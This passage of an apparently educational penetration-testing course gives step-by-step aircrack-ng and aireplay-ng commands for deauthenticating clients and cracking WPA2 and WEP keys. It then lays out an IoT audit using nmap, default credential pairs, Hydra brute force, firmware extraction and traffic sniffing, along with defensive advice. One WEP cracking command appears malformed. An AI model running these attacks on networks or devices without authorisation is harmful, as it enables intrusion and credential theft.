✓ Captures **handshake packets** from target **BSSID (MAC Address)**.

🔹 **4.2 Force Device Reconnection (Deauthentication Attack)**

sudo aireplay-ng -0 2 -a 00:11:22:33:44:55 wlanomon

✓ Disconnects clients and forces a **reconnection,** capturing **WPA2 handshake**.

📌 Step 5: Cracking WPA/WPA2 Passwords

🔸 5.1 Using a Dictionary Attack

sudo aircrack-ng -w rockyou.txt -b 00:11:22:33:44:55 handshake.cap

✓ If the password is weak and present in rockyou.txt, it will be **cracked**.

📌 Expected Output:

Key Found! [MyWiFiPassword123]

✓ If successful, **WPA/WPA2 key is revealed**.

📌 Step 6: Cracking WEP Encryption

🔸 6.1 Capturing IVs for WEP Cracking

sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w wep_capture wlanomon

✓ Collects **Initialization Vectors (IVs)** needed for cracking.

🔸 6.2 Injecting Packets to Speed Up Cracking

sudo aireplay-ng -3 -b 00:11:22:33:44:55 wlanomon

✓ Speeds up **packet collection** for WEP cracking.

🔸 6.3 Cracking WEP Key

sudo aircrack-ng -b 00:11:22:33:44:55 -w wep_capture.cap

📌 **Expected Output:**

✓ **WEP key is cracked in minutes**.

📌 Step 7: Securing Wi-Fi Networks Against Penetration Attacks

✓ Use **WPA3 instead of WEP/WPA2**.

✓ Disable **WPS (Wi-Fi Protected Setup)**.

✓ Use **strong passwords** (16+ characters).

✓ Implement **MAC address filtering**.

📌 Step 8: Summary & Next Steps

✅ Key Takeaways

✓ WEP is easily cracked within minutes.

✓ WPA2 is vulnerable to brute force attacks.

✓ Monitor mode enables network sniffing.

✓ Deauthentication attacks force handshake capture.

📌 Next Steps:

- 🔹 Practice on TryHackMe & Hack The Box.
- 🔹 Secure Wi-Fi networks with enterprise authentication.
- 🔹 Stay updated on wireless security vulnerabilities. 🚀

📌 ASSIGNMENT 2:

☑ CONDUCT A SECURITY AUDIT ON AN IOT-ENABLED DEVICE.

📌 Solution : Assignment 2- Conducting a Security Audit on an IoT-Enabled Device

🎯 Objective

The objective of this assignment is to **conduct a security audit** on an **IoT-enabled device** to identify vulnerabilities related to **network security, firmware, authentication, data privacy, and physical security**.

📌 Step 1: Understanding IoT Security Risks

🔹 1.1 Common IoT Security Vulnerabilities

✓ **Weak Authentication** – Default or hardcoded credentials.
✓ **Insecure Firmware** – Outdated software with known vulnerabilities.
✓ **Lack of Encryption** – Unencrypted data transmission.
✓ **Insecure Network Communications** – Open ports and weak protocols.
✓ **Physical Security Risks** – Tampering with the device.

📌 Example:

An attacker exploits a **default admin password** on a smart camera to gain access and spy on users.

📌 Step 2: Selecting an IoT Device for Security Testing

Choose an IoT device, such as:
✓ **Smart Home Device** – Wi-Fi Camera, Smart Lock, Smart Bulb.

✓ **Industrial IoT (IIoT)** – Smart sensors, industrial controllers.
✓ **Wearable Device** – Smartwatch, fitness tracker.

📌 Step 3: Network & Port Scanning

🔸 3.1 Identifying the IoT Device on the Network

Command:

nmap -sP 192.168.1.0/24

✓ Lists **all devices** connected to the local network.

🔸 3.2 Scanning for Open Ports

Command:

nmap -A -T4 192.168.1.100

📌 Expected Output:

✓ Identifies **open ports and running services** (e.g., SSH, HTTP).

📌 Step 4: Checking for Default or Weak Credentials

🔸 4.1 Attempt Login with Default Credentials

Try default usernames/passwords:

- **admin:admin**
- **root:password**
- **admin:1234**

✓ If login is successful, the device **lacks authentication security**.

🔸 4.2 Using Hydra for Brute-Force Testing

Command:

hydra -L usernames.txt -P passwords.txt 192.168.1.100 ssh

📌 Expected Output:

✓ Finds **weak passwords,** if present.

📌 Step 5: Analyzing IoT Device Firmware

🔸 5.1 Extracting Firmware from the Device

Download firmware from the **manufacturer's website** or extract it from the device.

✓ Use **Binwalk** for analysis:

binwalk -e firmware.bin

✓ If sensitive files are found (e.g., passwd, config.json), the firmware **lacks proper security**.

📌 Step 6: Sniffing & Intercepting IoT Traffic

🔸 6.1 Capturing Network Traffic Using Wireshark

1. Start **Wireshark**.
2. Select the **Wi-Fi or Ethernet interface**.
3. Apply filter:

ip.addr == 192.168.1.100

✓ If **unencrypted credentials** are visible, the IoT device **lacks secure communication**.

🔹 6.2 Checking for Insecure APIs

Use **Burp Suite** or curl to check API security:

curl -X GET http://192.168.1.100/api/status

✓ If API **returns data without authentication**, it's insecure.

📌 Step 7: Testing Physical Security

✓ Check if the device **exposes debugging interfaces** like **UART, JTAG**.
✓ Use a **serial console (e.g., PuTTY)** to access it.
✓ If root access is possible, **the device is vulnerable**.

📌 Step 8: Reporting Security Findings

🔹 8.1 Security Audit Report Format

✅ **Device Information** – Manufacturer, Model, Firmware Version.
✅ **Vulnerabilities Found** – Weak credentials, open ports, insecure APIs.
✅ **Exploitation Method** – How security flaws were tested.
✅ **Mitigation Recommendations** – Security patches, encryption improvements.

📌 Example Report Entry:

Vulnerability: Insecure API Access

Impact: Allows unauthorized access to device settings.

Recommendation: Implement API authentication.

📌 Step 9: Securing IoT Devices Against Attacks

✓ **Change default credentials** before using an IoT device.
✓ **Enable encryption (TLS, SSH) for communication.**
✓ **Regularly update firmware** to fix vulnerabilities.
✓ **Disable unnecessary services** (e.g., FTP, Telnet).

📌 Example:

A smart thermostat **requires MFA for remote access**, preventing unauthorized control.

📌 Step 10: Summary & Next Steps

✅ Key Takeaways

✓ IoT devices are prone to weak authentication, open ports, and insecure firmware.
✓ Network scanning tools like Nmap and Hydra help detect vulnerabilities.
✓ Wireshark and Burp Suite reveal unencrypted data transmission.
✓ API authentication and regular firmware updates enhance security.

📌 Next Steps:

- Practice IoT security on TryHackMe & Hack The Box.
- Implement penetration testing for smart home devices.
- Stay updated on emerging IoT vulnerabilities. 🚀